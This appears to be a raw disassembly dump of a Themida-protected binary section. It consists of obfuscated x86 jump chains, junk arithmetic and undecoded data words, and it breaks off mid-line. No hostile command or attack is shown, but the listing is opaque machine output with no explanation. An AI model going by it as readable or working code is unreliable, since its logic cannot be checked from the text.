0C4812404h dd 4, 8904EC83h, 4CB82404h, 481C744Eh, 134ABF57h, 0BE56290Dh dd 167421CBh, 436E681h, 0E6C11C76h, 0C1D6F703h, 0C68108E6h dd 0D19B699Ch, 348BF709h, 5635E924h, 30BD0000h, 4D59225Eh dd 5E2BF581h, 0E9E95922h, 81000031h, 4C2h, 1EEC6800h, 3C890000h dd 9BF24h, 0C781626Ah, 658637A5h, 37ACF781h, 0FA01C7F0h dd 20E9525Fh db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548C2B: ; CODE XREF: Themida_:0054A3EBj pop esp pop ecx sub ecx, 7E3C2A4Eh push 33DAh mov [esp], ecx push esp mov ecx, [esp] jmp loc_5509ED ; --------------------------------------------------------------------------- dd 0EB80C328h, 0C0B60FE7h, 528734FFh, 3D0F12BAh, 24540137h dd 48B5A04h, 4C48124h, 0E9000000h, 1267h ; --------------------------------------------------------------------------- loc_548C68: ; CODE XREF: Themida_:00548FBAj mov edi, ecx pop ecx push ebp mov ebp, 4B334907h inc ebp inc ebp jmp loc_54BB27 ; --------------------------------------------------------------------------- dd 4C7835Dh, 7B1368h, 243C8900h, 42474FFh, 24048F5Fh, 0E9C15Ch dd 840FC009h, 80B6h, 4EC81h, 34890000h, 0E3895324h, 4C381h dd 0EB810000h, 4, 0E9241C87h, 57ADh ; --------------------------------------------------------------------------- loc_548CB8: ; CODE XREF: Themida_:0054E0F2j pop eax push 66BAh mov [esp], eax mov al, 48h sub cl, al jmp loc_54F21F ; --------------------------------------------------------------------------- loc_548CCA: ; CODE XREF: Themida_:0054DF36j push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_54F2FF ; --------------------------------------------------------------------------- loc_548CDD: ; CODE XREF: Themida_:00551496j pop ecx push 6388h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ebx pop eax sub esp, 4 mov [esp], edi push edx jmp loc_5528D4 ; --------------------------------------------------------------------------- dw 0C683h dd 0DFA9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548D0A: ; CODE XREF: Themida_:00551E8Ej mov edx, 1092503h xor edx, ebp mov ebp, [esp] add esp, 4 jmp loc_5500A7 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 582434FFh, 4EC81h, 38E90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D37: ; CODE XREF: Themida_:0054D8D0j mov eax, [esp] jmp loc_546DCD ; --------------------------------------------------------------------------- db 52h dd 0C2815A54h, 4, 4B850h, 0C2010000h, 642CE9h, 0E9565900h dd 0FFFFE41Dh ; --------------------------------------------------------------------------- loc_548D5C: ; CODE XREF: Themida_:00551640j push ebx mov ebx, 62AB068Ah sub edx, ebx pop ebx mov ebx, edx jmp loc_551FB4 ; --------------------------------------------------------------------------- loc_548D6C: ; CODE XREF: Themida_:0054AF21j pop ebx add esp, 4 jmp loc_54C485 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 0E9EF0100h, 6BC9h, 594EC281h, 0D3E950DEh dd 81000089h, 0E30499E3h, 5EF38126h, 0E9445E1Fh, 6CCAh dd 0E580C1B5h, 1CED8052h, 29B652h, 670FE9F0h, 9C500000h dd 0FFD44DE9h, 0E9E9F7FFh, 0FFFFF559h, 0BB241C89h, 61607C67h dd 3F98EB81h, 4EE90AD4h, 5000005Ah, 6FABE9h, 3EDC100h dd 0C581D5F7h, 91CF5805h, 8B5DE829h, 8956243Ch, 4C681E6h dd 0E9000000h, 0FFFFFF06h, 240C8B66h, 4E61E9h, 0E9C32900h dd 0FFFFE57Ch, 0FAE95266h, 81000048h, 4ECh, 7A2EE900h dd 2BF0000h, 0E9000000h, 0FFFFF3B3h, 1DFC381h, 0EB8162C4h dd 687503DAh, 0C381EB01h, 687503DAh, 0B20E9h, 0E9CAFE00h dd 9D2h, 40B9515Ch, 1000000h, 0E68956F9h, 4C681h, 0EE830000h dd 24348704h, 242C895Ch, 2DBD5550h, 3120BE44h, 5D04246Ch dd 2DF5815Dh, 5020BE44h, 0B8h, 89C80100h, 2434FF28h, 0DB4EE958h dd 805BFFFFh, 0ED8067F5h, 1B90E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E96: ; CODE XREF: Themida_:005484FBj mov ecx, [esp] jmp loc_5525E3 ; --------------------------------------------------------------------------- dw 6658h dd 57241C8Bh, 58B6E9h, 240C8900h, 0BB22CAB9h, 57E9810Fh dd 8115AD42h, 0F21F91C1h, 59CF0105h, 0FFEA9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_548EC5: ; CODE XREF: Themida_:0054C94Ej mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_54E5DB ; --------------------------------------------------------------------------- dd 4BDh, 0E9EA0100h, 0FFFFD56Eh, 0E2DBE95Fh, 0B4B9FFFFh dd 2946232Bh, 13E959C8h, 66FFFFD7h, 2FF4E681h, 338BE9h db 0 ; --------------------------------------------------------------------------- loc_548F01: ; CODE XREF: Themida_:0054E7FAj mov ebp, 52706D6Fh jmp loc_549CB9 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68300h, 8B243487h, 3682424h, 89000060h, 5F54243Ch dd 1527E9h, 0E9DE8800h, 2E79h, 0E904EC83h, 21E6h, 875AD701h dd 0FF5C243Ch, 83582434h, 1C8904ECh, 0E988E924h, 3489FFFFh dd 82BF5724h, 8145030Fh, 6F0A35F7h, 81DFF76Bh, 1EFh, 7FE78100h dd 87739E44h, 0F4BCE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F72: ; CODE XREF: Themida_:005481B1j inc esi add esi, 1 jmp loc_54D5A5 ; --------------------------------------------------------------------------- dw 0C280h dd 80C200D5h, 5066D5EAh, 9467E9h db 0 ; --------------------------------------------------------------------------- loc_548F8D: ; CODE XREF: Themida_:005475BDj add ebp, 0FB87D0FCh add esi, ebp pop ebp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push edi push 18C7h mov [esp], esi mov esi, 7E1B6367h push ecx mov ecx, 81E89C99h jmp loc_548C68 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 51536600h, 0B75357B1h, 2BF7803Bh, 855B551h, 0C78059EFh dd 0B65266F6h, 3062E9BEh, 0E95E0000h, 52DAh, 2B05EE81h dd 7701C3FEh, 815A5E20h, 4ECh, 242C8900h, 4C104CBDh, 7DD7E97Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549006: ; CODE XREF: Themida_:00546D7Ej xor edi, edx jmp loc_54DCD1 ; --------------------------------------------------------------------------- db 1, 0D9h, 5Bh dd 12E6E9h, 24248B00h, 40D7E950h, 0C1BA0000h, 0E94FB337h dd 2866h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55040B ; --------------------------------------------------------------------------- loc_54903F: ; CODE XREF: Themida_:0054D4D6j pop esi mov ebx, ebp pop ebp jmp loc_54620A ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 83242489h, 5A042404h dd 0FFDE0BE9h, 665966FFh, 50241C8Bh, 17F0E9h, 4C58100h dd 81000000h, 4ECh, 24348900h, 4BEh, 23E6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54908A: ; CODE XREF: Themida_:005485DAj push ebx mov bh, 0AEh jmp loc_548684 ; --------------------------------------------------------------------------- dw 875Bh dd 815C2404h, 3C6242Ch, 4815130h, 3D6E6A24h, 24040155h dd 6A242C81h, 0E9553D6Eh, 18F9h, 4DE9CB01h, 81FFFFF9h dd 102ADCC2h, 81DA0118h, 102ADCEAh, 13C28118h, 5B5BAE74h dd 2C281h, 14870000h, 24248B24h, 9C240400h, 0FFD125E9h db 0FFh ; --------------------------------------------------------------------------- loc_5490E5: ; CODE XREF: Themida_:00547682j add ecx, edi mov [ecx], esi mov ecx, [esp] add esp, 4 pop esi shr dword ptr [edi+20h], 4 sub esp, 4 mov [esp], ebx mov ebx, 7E175CB3h jmp loc_548656 ; --------------------------------------------------------------------------- dd 5D2414F7h, 7F3CF581h, 0DDF73B21h, 115CF581h, 0E801160Ah dd 2DD8295Dh, 662E36E2h, 345EE9h, 24248B00h, 240C8B66h dd 50E18951h, 793AC7B8h, 0D8F74861h, 5C0CBF57h, 0E78101E7h dd 33564A2h, 2E01BD55h, 0EF014E6Fh, 0E9F8295Dh, 5584h dd 4C481h, 0FBE90000h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54915F: ; CODE XREF: Themida_:0054E148j push ecx mov ecx, 0DD310E3h push edx mov edx, 57924C99h jmp loc_54E43F ; --------------------------------------------------------------------------- dd 850340BEh, 8DFCE913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54917A: ; CODE XREF: Themida_:0054AD45j pop esi shl ebx, 6 push ebp mov ebp, 267F31D7h and ebx, ebp pop ebp dec ebx dec ebx sub ebx, 441107Ch add edx, ebx pop ebx push edx push dword ptr [esp+4] pop edx jmp loc_54EFF1 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0D1h dd 810D1F4Fh, 540E53C2h, 4E2C110h, 0E4D3F281h, 0D301BDAEh dd 7EC3815Ah, 5A275434h, 4EC81h, 0D2E90000h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5491C7: ; CODE XREF: Themida_:0054E336j add al, 82h push dx push 16F9h jmp loc_54A966 ; --------------------------------------------------------------------------- db 54h, 0E9h, 0F6h dd 59FFFFE3h, 53E28952h, 4BBh, 5BDA0100h, 4EA81h, 14870000h dd 5B43E924h, 0C890000h, 5ADFB924h, 0E181591Eh, 63767C62h dd 9029E9h, 242C8700h, 68B3685Ch, 2C890000h, 17E8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54921A: ; CODE XREF: Themida_:0054F753j add eax, esi pop esi jmp loc_54D343 ; --------------------------------------------------------------------------- dw 48Fh dd 8E13E924h, 0EDD10000h, 2C7AE9h, 4E7C100h, 2129EF81h dd 0C7814004h, 4F8E5627h, 0C7814F47h, 2E019411h, 3C8BF989h dd 4C48324h, 1839E981h, 0E9814F56h, 0B6E5F3C2h, 0E959CF01h dd 1004h, 0F681DEF7h, 20400Ch, 0FFD578E9h, 0EE815EFFh dd 67B55542h, 6EEC15Bh, 156968h, 242C8900h, 0DD171FBDh dd 448CE91Dh, 88680000h, 89000012h, 0E2892414h, 4C281h dd 83680000h, 89000021h, 3CE9242Ch, 53000038h, 0C3815B54h dd 4, 6804C383h, 4D09h, 0FF241C89h, 5B042474h, 8B24048Fh dd 0E0E92424h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5492CF: ; CODE XREF: Themida_:0054C0E7j push esi mov esi, 7A78125Bh dec esi xor esi, 745B1C1Bh jmp loc_550D2C ; --------------------------------------------------------------------------- db 81h, 0EEh, 6Ch dd 5D792B2Fh, 8103E6C1h, 10571CF6h, 0FFF301F6h, 815E2434h dd 4C4h, 2EB8100h, 53000000h, 42474FFh, 24048F5Bh, 2B6E9h dd 4C48100h, 0E9000000h, 0FFFFE306h, 0E9E18951h, 0FFFFE846h dd 0C383D387h, 0E3814BFFh, 471F6F0Ch, 0F9CCC381h, 0DA31286Ah dd 0FBFAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54933E: ; CODE XREF: Themida_:0054F31Fj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ch, al mov bh, ch pop ecx jmp loc_54F1BD ; --------------------------------------------------------------------------- loc_549359: ; CODE XREF: Themida_:00550E45j add al, bl pop ebx inc al not al jmp loc_5469A0 ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 18h db 70h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54936B: ; CODE XREF: Themida_:00547E82j shl eax, 2 dec eax jmp loc_548822 ; --------------------------------------------------------------------------- loc_549374: ; CODE XREF: Themida_:005495ADj mov edx, [esp] add esp, 4 xchg eax, [esp] jmp loc_549CD6 ; --------------------------------------------------------------------------- loc_549385: ; CODE XREF: Themida_:0054C9EFj add esi, 1 add esi, 583195ACh push esi pop edx pop esi add edx, 50D64692h add edx, ebp sub edx, 50D64692h mov ebp, [esp] add esp, 4 loc_5493AB: ; CODE XREF: Themida_:loc_54C9B3j ; Themida_:loc_54EA35j push dword ptr [edi+24h] push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp jmp loc_546F22 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h aXfniSp db '¹Ùxän‰ËéP}',0 align 4 dd 0E902C083h, 52A6h, 0C8B60F66h, 0E99C5166h, 0FFFFCE2Ah ; --------------------------------------------------------------------------- loc_5493E0: ; CODE XREF: Themida_:00547473j mov al, 82h shl al, 5 jmp loc_550E42 ; --------------------------------------------------------------------------- dw 0C281h dd 0FC3AC705h, 3CC3EE81h, 0FBE97CEBh, 100001Bh, 0BE565BDAh dd 64E2931h, 81DEF746h, 476EECCEh, 0BD5500h, 29000000h dd 5DEE87F5h, 52EFE681h, 0F68129DDh, 80000h, 875EF201h dd 0F9E92414h, 1000041h, 24348BF5h, 4C481h, 0EC810000h dd 4, 0FFFB09E9h, 4EC81FFh, 0E9000000h, 5F1Bh ; --------------------------------------------------------------------------- loc_549450: ; CODE XREF: Themida_:0054E396j xor edi, 74C2264Ch dec edi push edx mov edx, 1AEF7816h shr edx, 2 not edx jmp loc_546BCC ; --------------------------------------------------------------------------- aXs?_0 db ')ÁXéÓ?',0 dw 0AD00h dd 4EC81h, 14890000h, 2C0BBA24h, 50511E7Ch, 135FC7B8h dd 58C18925h, 8103E9C1h, 7454BCE1h, 59C18160h, 4127B869h dd 0CB14C181h, 0C80156CBh, 7F79E9h, 2C102C00h, 8ED0E9E2h dd 2C8B0000h, 3D70E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5494B6: ; CODE XREF: Themida_:0054D8DCj mov [esp], ebx mov ebx, esp jmp loc_54A4C7 ; --------------------------------------------------------------------------- dd 24048150h, 163C1CBAh, 340CE95Dh, 0C890000h, 3533B924h dd 0E9812668h, 9986B899h, 0FFF01FE9h, 48F54FFh, 24048124h dd 4, 81E9535Ah, 8BFFFFE2h, 0C483240Ch, 7DBE5604h, 81096828h dd 1B790BE6h, 5BF5715h, 29010828h, 0F1015FFEh, 8124348Bh dd 4C4h, 16DC6800h, 3FE90000h, 5C000056h, 0FFEE7DE9h, 241C87FFh dd 6424248Bh, 0D3E90288h, 68FFFFCCh, 7CAEh, 89241489h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 0E924248Bh, 0FFFFED7Dh dd 6500EB81h, 0EB817DD3h, 3AC73955h, 2434FF50h, 4B48E95Ah dd 0C1810000h, 5B22227Fh, 4E59CE89h, 4E05E6C1h, 0FFD43AE9h dd 0E18951FFh, 62D4BA52h, 0EA81363Bh, 363B62D0h, 0D9E9D101h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549597: ; CODE XREF: Themida_:0055093Dj pop esp mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edx mov edx, 4 add eax, edx jmp loc_549374 ; --------------------------------------------------------------------------- dw 0E089h dd 53ECBD55h, 0F5812EF9h, 2EF953E8h, 36E9E801h, 8BFFFFE9h dd 0F0E92424h, 8900001Bh, 879DE9F3h, 0BC680000h, 8900002Dh dd 0E389241Ch, 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch dd 838BE924h, 555F0000h, 1AAEE9h db 0 ; --------------------------------------------------------------------------- loc_549601: ; CODE XREF: Themida_:00548651j push edi mov edi, 762B1A84h not edi shr edi, 4 jmp loc_549C3B ; --------------------------------------------------------------------------- db 56h, 0BEh, 95h dd 0BF3FF879h, 5924C622h, 74E9F729h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549623: ; CODE XREF: Themida_:0054C194j jmp loc_54620A ; --------------------------------------------------------------------------- dd 8B24048Fh, 0F1F72424h, 904EE952h, 0F3890000h, 0E92434FFh dd 1050h, 5205E8C1h, 126A32BAh, 5AD03174h, 74E06E05h, 3481508Bh dd 0C00F5524h, 0BE95A76h, 1000082h, 34875DEEh, 14875C24h dd 89665C24h, 61E9240Ch, 53FFFFFDh, 3C55BD55h, 0F58119D3h dd 3B2E75F9h, 192CED81h, 0F58153BFh, 8DBE749Dh, 4477E9h dd 4B85000h, 1000000h, 58042444h, 5E2434FFh, 4C481h, 0C6810000h dd 4, 2B951h, 0CE010000h, 8BBAE9h, 0B5515200h, 47B35324h dd 883EC380h, 0EA005BDAh, 0CAD6859h, 0C890000h, 0EBB75324h dd 0CFE9D6B5h, 2C00001Eh, 981E93Bh, 0C6680000h, 5D23B622h dd 4FCD81h, 0F5812E41h, 87A0B04h, 0B95DEB89h, 278D29D5h dd 0AFE9D929h, 5EFFFFF3h, 52FCE952h, 1ABB0000h, 81643562h dd 4A1EEAEBh, 0E9D831F9h, 1720h, 0B050665Bh, 66C520A3h dd 7DB45058h, 28E3F480h, 0C5FE58E5h, 8023C580h, 0C3808CC3h dd 80EB28F5h, 0B652F5EBh, 0E9D6F69Bh, 0FFFFCD34h, 0E9242C87h dd 38Dh, 21B652ACh, 0E9EDB450h, 6A2Fh, 0E681DEF7h, 9982EA4h dd 26C0F681h, 0EE8168CAh, 5FCA100Ah, 622BBD55h, 314D0E29h dd 31EE31F5h, 4EC81F5h, 0E9000000h, 8F45h, 0BE564B58h dd 0ADBFE005h, 15EF301h, 0F8F8E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54979A: ; CODE XREF: Themida_:0054B6AEj mov ch, 0CAh push edx mov dh, 20h sub bl, dh pop edx add bl, ch add bl, 20h mov ecx, [esp] add esp, 4 jmp loc_54A4F6 ; --------------------------------------------------------------------------- aIcs6a db '‰çé6€',0 db 0 ; --------------------------------------------------------------------------- loc_5497B9: ; CODE XREF: Themida_:0054CF53j mov ebp, esp add ebp, 4 push ebx mov ebx, 404373DCh jmp loc_552908 ; --------------------------------------------------------------------------- dword_5497CC dd 81242489h, 42404h, 48F0000h, 1C6BE924h, 0E5890000h dd 4C581h, 0C5830000h, 242C8704h, 30EA815Ch, 100027Dh dd 30C281F2h, 0FF00027Dh, 93E92434h, 81000065h, 4C5h, 4C58100h dd 33000000h, 2C31242Ch, 6984E924h, 51530000h, 0CF88D188h dd 88E28859h, 0EC805BFCh, 7BF48055h, 0FCE9E608h, 31000043h dd 3C33243Ch, 0F0BFE924h, 0B850FFFFh, 7A8070B3h, 5404848h dd 6710447Fh, 0BB53D0F7h, 3B1E0C44h, 64B7BA52h, 0D3216443h dd 8124148Bh, 4C4h, 8CE38100h, 0E9151B6Ch, 9085h, 0E951D3F7h dd 0FFFFE151h, 4EBB753h, 88B8E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549882: ; CODE XREF: Themida_:0054E207j add esp, 4 sub ebx, 3A655FD2h jmp loc_54B555 ; --------------------------------------------------------------------------- loc_549893: ; CODE XREF: Themida_:00551A63j and ebx, ebp pop ebp jmp loc_551054 ; --------------------------------------------------------------------------- loc_54989B: ; CODE XREF: Themida_:0054A0F0j add ebp, 4 xchg ebp, [esp] pop esp shr esi, 3 jmp loc_5513A8 ; --------------------------------------------------------------------------- dw 0F181h dd 9030C405h, 8359CB01h, 0BAE904C3h, 0FF00003Eh, 8B042474h dd 0B8E9240Ch db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5498C7: ; CODE XREF: Themida_:0054DB45j push ecx mov ecx, 2A603CF9h xor ecx, 0A1AF3475h xor esi, ecx pop ecx push esi mov esi, 2E852296h add esi, 2D71F02h add ebx, esi pop esi sub ebx, esi sub ebx, 315C4198h pop esi push 0AD4h mov [esp], ecx mov ecx, 2D1F1118h and ebx, ecx pop ecx or ebx, 58034521h push edx jmp loc_549DAE ; --------------------------------------------------------------------------- aRs_0 db '^Réì!',0 dd 2C48100h, 0E9000000h, 3CC4h, 9D1C77FFh, 0D3665966h dd 0E99C241Ch, 832Eh, 8104C483h, 4C4h, 3C0E900h, 0D1290000h dd 4CC2C181h, 31E978AAh, 5EFFFFDBh, 4C281h, 14870000h dd 0B3E95C24h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549957: ; CODE XREF: Themida_:0054DB3Aj mov ebx, 4 jmp loc_54A41F ; --------------------------------------------------------------------------- db 81h, 0EBh, 0DFh dd 5D62C401h, 31241C33h, 1C33241Ch, 24248B24h, 0F66F1F6h dd 6866CCB6h, 89662405h, 0F66240Ch, 38E9C8B6h, 8100001Dh dd 0CBE82BC2h, 5AD189E9h, 3444F181h, 882D7367h, 83098933h dd 3C8904ECh, 6593BF24h, 0E7683F02h, 8900001Ch, 0EC81241Ch dd 4, 0A3EE9h, 0E3895300h, 2CA1E9h, 68C16800h, 2C890000h dd 0E9E58924h, 65AFh, 8108E5C1h, 0E858BDF5h, 0C581453Ch dd 4F1B455Ah, 55DE889h, 21591E75h, 0FFFF0548h, 88E9FFFFh dd 5A00006Ah, 0BBE9242Ch, 5C00002Ch, 5FCAE9h db 0 ; --------------------------------------------------------------------------- loc_549A05: ; CODE XREF: Themida_:0054F8D9j mov [esp], bx jmp loc_5510F0 ; --------------------------------------------------------------------------- loc_549A0E: ; CODE XREF: Themida_:005462BAj mov edi, 45F83C07h dec edi jmp loc_54E9DE ; --------------------------------------------------------------------------- loc_549A19: ; CODE XREF: Themida_:0054C498j add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_54C18E ; --------------------------------------------------------------------------- dd 131468h, 241C8900h, 6C17B951h, 4C017BE7h, 0E9590424h dd 144Fh ; --------------------------------------------------------------------------- loc_549A48: ; CODE XREF: Themida_:00547B1Ej sub ebp, 7EFF425Dh xor ebp, 2D541187h add ebp, 0FFFFFFFFh push 4CB1h mov [esp], ebp dec dword ptr [esp] pop ebp push ecx mov ecx, 58986F47h sub ecx, 0FFFFFFFFh neg ecx neg ecx shr ecx, 8 xor ecx, 0B92F23DEh xor ebp, ecx pop ecx sub edi, ebp pop ebp not edi inc edi push 3C2Fh mov [esp], esi jmp loc_5487BB ; --------------------------------------------------------------------------- dw 0BB53h dd 7EA47526h, 12754305h, 732FE97Dh, 0E9810000h, 77FB6B26h dd 8A30E95Dh, 0D9F70000h, 76B6E9h, 2434FF00h, 6CFDE9h dd 4C02BE00h, 0DEF72CD2h, 52ECE681h, 0EEC163CBh, 413AE905h dd 0C6810000h, 10205031h, 0FFD15DE9h, 1C895CFFh, 0BB24h dd 57E90000h, 53000043h, 73116ABBh, 2A44E915h, 454D0000h dd 0A9EEC581h, 0EA09C919h, 0DAF7425Dh, 0FFFFC281h, 1AE9FFFFh dd 2D00001Ah, 29A3027Dh, 97BD555Ah, 8118632Bh, 0A22CEAC5h dd 0DDE95532h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B27: ; CODE XREF: Themida_:0054EAD5j dec bl sub bl, 0FFh sub bl, 0D9h jmp loc_5517C8 ; --------------------------------------------------------------------------- dd 58C5015Fh, 8702ED83h, 3DE9242Ch, 0BEFFFFCDh, 4F206024h dd 15EF729h, 24C781DFh, 814F2060h, 2663E2C7h, 241C8B0Eh dd 4C481h, 0C7830000h, 243C8702h, 6624248Bh, 8124048Bh dd 4ECh, 242C8900h, 0E9505D54h, 750Ch, 9D1C77FFh, 0D3665966h dd 0E99C2414h, 0FFFFC67Ah, 20560BBh, 5BD8011Fh, 91274E05h dd 2DD00174h, 7491274Eh, 205602Dh, 0EA5BE91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549BAE: ; CODE XREF: Themida_:005516AAj not ecx sub ecx, 21031397h xor ecx, 13CA128h jmp loc_54B660 ; --------------------------------------------------------------------------- loc_549BC1: ; CODE XREF: Themida_:0054C4EAj pop ecx mov dl, al mov eax, [esp] jmp loc_552759 ; --------------------------------------------------------------------------- loc_549BCC: ; CODE XREF: Themida_:00546496j add ebp, 4 xchg ebp, [esp] jmp loc_54F1F3 ; --------------------------------------------------------------------------- loc_549BD7: ; CODE XREF: Themida_:0054C661j sub al, 0Fh add al, 0B8h pop cx add al, 0B7h add al, 6Fh add al, bl sub al, 6Fh sub al, 0B7h jmp loc_547CE0 ; --------------------------------------------------------------------------- dd 3BFFE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549BF2: ; CODE XREF: Themida_:0054F705j or bl, 3Dh jmp loc_54EAD3 ; --------------------------------------------------------------------------- dw 248Bh dd 81FFE924h, 0EF810000h, 4, 22E3E9h, 0EC815200h, 4, 24048F54h dd 4240483h, 0FEBF575Ah, 0C112DE56h, 504703EFh, 0F15D1B8h dd 58C70978h, 0DFEDEF81h, 58E97A5Fh db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C3B: ; CODE XREF: Themida_:0054960Cj and edi, 40B47A7Fh xor edi, 66416312h and ebp, edi pop edi add ebp, 9B7BD800h add edi, ebp pop ebp push 6331h mov [esp], ebp mov ebp, 4 add edi, ebp jmp loc_54A47A ; --------------------------------------------------------------------------- db 0BDh dd 4473219Eh, 505DEA01h, 8717D0B8h, 0D0F74036h, 0C103E0C1h dd 4B0D07E8h, 0E924ED24h, 2F32h, 400B951h, 4F090000h, 2434FF1Ch dd 4EC8359h, 89243C89h, 0D567E9E7h, 1968FFFFh, 89000037h dd 68E9241Ch, 66000081h, 0D83166ADh, 0FFC89AE9h db 0FFh ; --------------------------------------------------------------------------- loc_549CB9: ; CODE XREF: Themida_:00548F06j push edx mov edx, 12FC4CA0h jmp loc_54E96A ; --------------------------------------------------------------------------- dd 0E9D00059h, 0FFFFFD2Bh, 0EF4E37BAh, 0F0B2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549CD6: ; CODE XREF: Themida_:00549380j pop esp push 751h mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_550E08 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FF24248Bh, 0C510E930h, 0FF59FFFFh, 34FF2434h, 2434FF24h dd 6165E9h, 378E6800h, 0C890000h, 4EC8324h, 0E9242489h dd 876Dh, 2FE9D088h, 83000019h, 80E904C4h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D2B: ; CODE XREF: Themida_:0054D43Dj shr edi, 2 jmp loc_551DEF ; --------------------------------------------------------------------------- loc_549D33: ; CODE XREF: Themida_:0054BF21j and eax, ebx jmp loc_54824D ; --------------------------------------------------------------------------- dw 0B68h dd 89000012h, 0BD552424h, 4, 0FFD972E9h, 2BE56FFh, 1000000h dd 2434FFF7h, 4C4835Eh, 0E9243C87h, 5E8h, 0A8BF5751h, 0E957EC08h dd 861Eh, 57F2815Ah, 0C157F41Fh, 814206EAh, 246C6AEAh dd 42ABE9CCh, 48B0000h, 27C56824h, 4890000h, 51E08924h dd 5C1ACDB9h, 0D1C5E95Eh, 0C481FFFFh, 4, 44C38166h, 0D974E962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549DAE: ; CODE XREF: Themida_:00549905j mov edx, 451D76D6h xor edx, 593C4B69h sub edx, 0E1522D8Dh sub ebx, edx pop edx xor ecx, ebx jmp loc_5484F5 ; --------------------------------------------------------------------------- db 29h, 0FEh, 52h dd 8AF7E9h, 89505800h, 405E0h, 47E90000h, 89000011h, 5332E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549DE6: ; CODE XREF: Themida_:0054CCE3j pop edi push esi mov esi, 35D31FBDh sub esi, 28C138BCh add esi, 0A18777F0h xor edi, esi jmp loc_54EA54 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 5D14B824h, 35405F12h, 5EC73899h, 4C05D0F7h dd 0E939BB7Ch, 58D3h, 4C1815Fh, 33000000h, 0C31240Ch, 240C3324h dd 69B4E9h db 0 ; --------------------------------------------------------------------------- loc_549E35: ; CODE XREF: Themida_:00547C34j add eax, edi jmp loc_550158 ; --------------------------------------------------------------------------- dd 56241C89h, 0B1244CBEh, 68DEF758h, 77DAh, 0E9243489h dd 1BCBh ; --------------------------------------------------------------------------- loc_549E54: ; CODE XREF: Themida_:00550179j pop eax push edx mov edx, 1C984A28h push esi jmp loc_551690 ; --------------------------------------------------------------------------- db 0BBh, 0B4h, 0Eh dd 0F381775Fh, 4C8C90FEh, 0B0E9DF29h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E73: ; CODE XREF: Themida_:0054621Dj add esp, 4 sub al, 67h add al, 0DCh add al, bl push ecx mov cl, 65h inc cl xor cl, 0DBh add cl, 1Fh jmp loc_5468BC ; --------------------------------------------------------------------------- db 5Bh dd 0EF88E957h, 0D901FFFFh, 83241C8Bh, 0EC8304C4h, 241C8904h dd 0FD2DE4BBh, 0E0EB8135h, 135FD2Dh, 0C875BD9h, 0C4835C24h dd 24042104h, 0C348E99Ch, 0A2B8FFFFh, 1DACEC4h, 0C4E958C2h dd 68000026h, 18C1h, 52240C89h, 97DC6BAh, 7E2C14Ch, 0B23CF281h dd 0D1895159h, 0CE9815Ah, 8153884Fh, 0FC25EEE1h, 3FB8503Bh dd 5268037h, 72A31945h, 49E32E2Dh, 58C1212Eh, 0E907E9C1h dd 0FFFFDADFh, 241C895Ch, 5892E9h db 0 ; --------------------------------------------------------------------------- loc_549F19: ; CODE XREF: Themida_:0054C235j push ecx push 108F3BD7h pop ecx or ecx, 4A471272h add ecx, 42CF470Ch add ecx, 1D00658Fh add ecx, 0BA814C0Ah mov ebp, ecx jmp loc_54637D ; --------------------------------------------------------------------------- db 5Dh dd 3860962Dh, 10C68133h, 292BEC4Bh, 10EE81C6h, 582BEC4Bh dd 875EF701h, 248B243Ch, 24D36624h, 